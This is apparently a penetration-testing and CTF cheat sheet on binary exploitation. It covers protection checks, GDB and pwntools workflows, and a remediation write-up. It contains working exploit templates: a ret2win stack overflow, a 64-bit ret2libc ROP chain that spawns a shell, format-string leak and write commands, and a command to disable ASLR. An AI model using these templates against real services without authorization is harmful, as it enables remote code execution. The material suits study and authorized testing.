πŸ›‘οΈ Methodology Checklist

  • Run checksec --file=[BINARY] β€” identify NX, ASLR, PIE, Stack Canary, RELRO protections
  • Determine architecture: file [BINARY] β€” 32-bit (x86) vs 64-bit (x86_64), ELF vs PE
  • Find input vectors: strings [BINARY], ltrace ./[BINARY], strace ./[BINARY]
  • Generate cyclic pattern and find offset: cyclic 200 | ./[BINARY]; cyclic -l [CRASH_VALUE]
  • Confirm EIP/RIP control: GDB run < <(python3 -c 'print("A"*[OFFSET] + "B"*4')
  • Identify exploitation path based on protections: ret2win / ret2libc / ROP / ret2plt
  • Find useful gadgets: ROPgadget --binary [BINARY] or ropper -f [BINARY]
  • Write and test exploit locally before submitting to remote target

🎯 Operational Context

Use when: A CTF challenge, HackTheBox machine, or penetration test exposes a compiled binary (ELF/PE) that accepts user input β€” assess for classic buffer overflow, format string, or use-after-free vulnerabilities. Think Dumber First: checksec first β€” always. If NX is disabled, stack shellcode works. If no canary, buffer overflow is straightforward. If no PIE, addresses are static and known. Reduce the problem to its simplest form before attempting complex ROP chains. Skip when: Source code is available β€” audit the code directly (strcpy, gets, sprintf without bounds = immediate vulnerable sink). Binary exploitation requires CPTS Advanced Labs or UBA Master’s modules for full coverage; this file covers initial triage and common CTF-level patterns.


⚑ Tactical Cheatsheet

Binary Analysis

CommandTactical Outcome
checksec --file=[BINARY]Show all active protections (NX, Canary, ASLR, PIE, RELRO)
file [BINARY]Architecture, format (ELF32/ELF64/PE), stripped/not stripped
strings [BINARY] | grep -i 'pass|flag|key|win|secret'Find hardcoded strings and function names
objdump -d [BINARY] | grep -A5 '<main>|<vuln>'Disassemble key functions
readelf -s [BINARY]Symbol table β€” find function names and addresses
ltrace ./[BINARY]Trace library calls (reveals strcmp, strcpy, etc.)
strace ./[BINARY]Trace syscalls
ldd [BINARY]List linked libraries (needed for ret2libc)

Protection Reference

ProtectionEnabledDisabledImpact
NX (No-Execute)Stack not executableStack shellcode worksDisabled = direct shellcode on stack
Stack CanaryCanary leak neededOverflow directlyNo canary = clean buffer overflow
ASLRAddresses randomizedAddresses staticDisabled = hardcoded libc/stack addresses
PIEBinary base randomizedBinary base staticNo PIE = ROP gadgets at fixed addresses
RELRO (Full)GOT read-onlyGOT writablePartial = GOT overwrite for code exec

GDB / pwndbg / peda Workflow

CommandTactical Outcome
gdb -q ./[BINARY]Start GDB (quiet mode)
run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*200)")Feed input to binary
pattern create 200 (pwndbg)Generate De Bruijn cyclic pattern
pattern offset [VALUE] (pwndbg)Find offset from crash EIP/RIP value
cyclic 200 | ./[BINARY] (pwntools)Crash with cyclic pattern
cyclic -l [CRASH_BYTES]Calculate offset from pattern
x/20wx $espExamine stack (32-bit)
x/20gx $rspExamine stack (64-bit)
info functionsList all functions (find win/secret/flag functions)
disas [FUNCTION]Disassemble a function
b *[ADDRESS]Set breakpoint at address
vmmap (pwndbg)Show memory map β€” check stack executable flag

ROP / Exploit Development

CommandTactical Outcome
ROPgadget --binary [BINARY] --ropFind all ROP gadgets
ROPgadget --binary [BINARY] --string '/bin/sh'Find /bin/sh string address
ropper -f [BINARY] --search 'pop rdi'Find specific gadget
one_gadget [LIBC.SO]Find one-gadget shell in libc (no arg setup needed)
p64(ADDRESS) (pwntools)Pack 64-bit little-endian address
p32(ADDRESS) (pwntools)Pack 32-bit little-endian address

pwntools β€” Remote Exploit Template

FunctionTactical Outcome
from pwn import *Import pwntools
p = process('./[BINARY]')Local process
p = remote('[TARGET]', [PORT])Remote connection
payload = b'A' * [OFFSET] + p64([RIP_VALUE])Basic overflow payload
p.sendline(payload)Send payload
p.interactive()Drop to interactive shell
p.recvuntil(b'prompt')Read until expected string

πŸ”¬ Deep Dive & Workflow

Protection Decision Matrix

checksec output β†’ Exploitation approach:

NX=disabled, No Canary, No PIE β†’ Shellcode on stack (simplest)
NX=enabled,  No Canary, No PIE β†’ ret2win or ret2libc with fixed addresses
NX=enabled,  No Canary, PIE   β†’ Need leak to defeat PIE; then ret2win/ret2libc
NX=enabled,  Canary,   No PIE β†’ Need canary leak; then ret2libc
NX=enabled,  Canary,   PIE   β†’ Full RELRO: hardest; need multiple leaks

Classic Stack Buffer Overflow β€” 32-bit

# Step 1: Find offset
# Run: cyclic 200 | ./vuln   (crash occurs)
# Check EIP value in gdb: 0x6161616c β†’ cyclic -l 0x6161616c = 44
 
from pwn import *
 
BINARY = './vuln'
elf = ELF(BINARY)
 
# Step 2: Build payload
offset = 44
win_addr = elf.symbols['win']       # Or find manually: readelf -s ./vuln | grep win
 
payload = b'A' * offset
payload += p32(win_addr)
 
# Step 3: Exploit
p = process(BINARY)
p.sendline(payload)
p.interactive()

ret2libc β€” 64-bit (NX enabled, no PIE, no canary)

from pwn import *
 
BINARY = './vuln'
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
 
elf = ELF(BINARY)
libc = ELF(LIBC)
 
# Step 1: Find gadgets
# ROPgadget --binary ./vuln --rop | grep "pop rdi"
pop_rdi = 0x[GADGET_ADDR]          # pop rdi; ret
ret = 0x[RET_GADGET]               # ret (for stack alignment on 64-bit)
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']
 
# Note: For ASLR-disabled or leaked libc base:
libc.address = 0x[LIBC_BASE]       # 0 if ASLR disabled; leaked value if enabled
 
# Step 2: Build ROP chain
offset = [OFFSET]
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(libc.address + bin_sh)
payload += p64(ret)                # Stack alignment for 64-bit system() call
payload += p64(libc.address + system)
 
p = process(BINARY)
p.sendline(payload)
p.interactive()

Format String Vulnerability β€” Quick Identification

# Test: if input is reflected in output with %x or %s, format string vuln present
echo "%p.%p.%p.%p" | ./vuln          # Leaks stack addresses
echo "%s" | ./vuln                    # May crash (dereferencing garbage pointer)
echo "%7$p" | ./vuln                  # Direct parameter access β€” position 7
 
# Find offset to control:
python3 -c "print('AAAA' + '.%p'*20)" | ./vuln
# Look for 0x41414141 in output β€” that position is your write target
 
# Arbitrary write via %n (write number of chars printed to address):
# Full format string exploitation is advanced β€” see pwntools fmtstr_payload()
python3 -c "from pwn import *; fmtstr_payload(offset, {target_addr: value})"

checksec Interpretation β€” Quick Reference

checksec --file=./vuln
 
# Output:
# RELRO:     Full RELRO      β†’ GOT is read-only; no GOT overwrite
# Stack:     Canary found    β†’ Must leak canary before overflow
# NX:        NX enabled      β†’ No shellcode on stack; need ROP
# PIE:       PIE enabled     β†’ Binary base randomized; need leak
# ASLR:                      β†’ Check /proc/sys/kernel/randomize_va_space
#                              0=disabled, 1=partial, 2=full
 
# Disable ASLR for local testing:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
cyclic pattern doesn’t crash binaryBuffer smaller than expectedIncrease pattern size; check if input is truncated by newline or null
EIP/RIP shows garbage not patternCrash elsewhere (heap, segfault before overflow)Use ltrace to watch input processing; check for off-by-one errors
ret2win address correct but no shellStack alignment issue (64-bit)Add extra ret gadget before function address for 16-byte alignment
system() called but no shell/bin/sh path wrong or ASLR defeating libc addrVerify libc base: ldd ./vuln; use one_gadget as alternative
Exploit works locally but not remoteDifferent libc version on serverLeak libc base via format string or puts; identify via libc-database
pwntools process() hangsBinary waiting for inputUse p.recvuntil(b'prompt') before sending; check expected input sequence
GDB shows different addresses than expectedPIE enabledRun vmmap in pwndbg to see actual base; calculate offset from base

πŸ“ Reporting Trigger

Finding Title: Stack Buffer Overflow Vulnerability in Binary β€” Remote Code Execution Impact: Stack buffer overflow in [BINARY/FUNCTION] allows an attacker to overwrite the return address and redirect execution to attacker-controlled code, achieving remote code execution in the context of the running service. Severity escalates significantly if the service runs as root/SYSTEM. Root Cause: Use of unsafe C functions (gets(), strcpy(), sprintf() without bounds checking) that copy user-supplied data into fixed-size stack buffers without length validation. Binary compiled without stack canaries or NX protection. Recommendation: Replace unsafe functions with bounded equivalents (fgets(), strncpy(), snprintf()). Compile with stack protection flags: -fstack-protector-all -D_FORTIFY_SOURCE=2. Enable NX (-z noexecstack) and PIE (-fPIE -pie). Apply full RELRO (-z relro -z now). Conduct static analysis with cppcheck, flawfinder, or CodeQL.